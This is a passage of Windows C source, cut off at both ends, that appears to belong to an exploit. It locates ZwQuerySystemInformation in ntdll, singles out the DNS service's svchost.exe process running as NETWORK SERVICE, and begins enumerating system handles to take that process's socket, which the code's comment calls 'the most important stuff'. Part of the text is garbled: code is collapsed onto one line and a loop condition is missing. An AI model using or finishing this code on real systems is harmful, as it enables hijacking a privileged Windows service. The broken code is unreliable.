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{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
printf( "GetModuleHandle() failed");
return( FALSE );
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress
( ntdll_dll, "ZwQuerySystemInformation" ) ) )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
printf( "GetProcAddress() failed");
}
ntdll_dll = NULL;
return( ret );
}
/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
// sanity checks and default value
if (pUserSid == NULL)
return false;
strcpy(szUserName, "?");
SID_NAME_USE snu;
TCHAR szUser[_MAX_PATH];
DWORD chUser = _MAX_PATH;
PDWORD pcchUser = &chUser;
TCHAR szDomain[_MAX_PATH];
DWORD chDomain = _MAX_PATH;
PDWORD pcchDomain = &chDomain;
// Retrieve user name and domain name based on user's SID.
if (
::LookupAccountSid(
NULL,
pUserSid,
szUser,
pcchUser,
szDomain,
pcchDomain,
&snu
)
)
{
wsprintf(szUserName, "%s", szUser);
}
else
{
return false;
}
return true;
}
/*++
This routine is used to get the DNS process's Id
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it's a "NETWORK SERVICE",
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.
--*/
DWORD GetDNSProcessId()
{
PWTS_PROCESS_INFO pProcessInfo = NULL;
DWORD ProcessCount = 0;
char szUserName[255];
DWORD Id = -1;
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
// dump each process description
for (DWORD CurrentProcess = 0; CurrentProcess { if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 ) { GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName); if( strcmp(szUserName, "NETWORK SERVICE") == 0) { Id = pProcessInfo[CurrentProcess].ProcessId; break; } } } WTSFreeMemory(pProcessInfo); } return Id; } /*++ This doesn't work as we know, sign... but you can use the routine for other useing... --*/ /* BOOL GetProcessUserFromId(char *szAccountName, DWORD PID) { HANDLE hProcess = NULL, hAccessToken = NULL; TCHAR InfoBuffer[1000], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID); if(hProcess == NULL) { printf("OpenProcess wrong"); CloseHandle(hProcess); return false; } if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken)) { printf("OpenProcessToken wrong:%08x", GetLastError()); return false; } GetTokenInformation(hAccessToken,TokenUser,InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); if(hProcess) CloseHandle(hProcess); if(hAccessToken) CloseHandle(hAccessToken); return true; }*/ /*++ Now, it is the most important stuff... ^_^ --*/ SOCKET GetSocketFromId (DWORD PID) { NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; HANDLE sock = NULL; DWORD n; buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong\n"); return NULL; }
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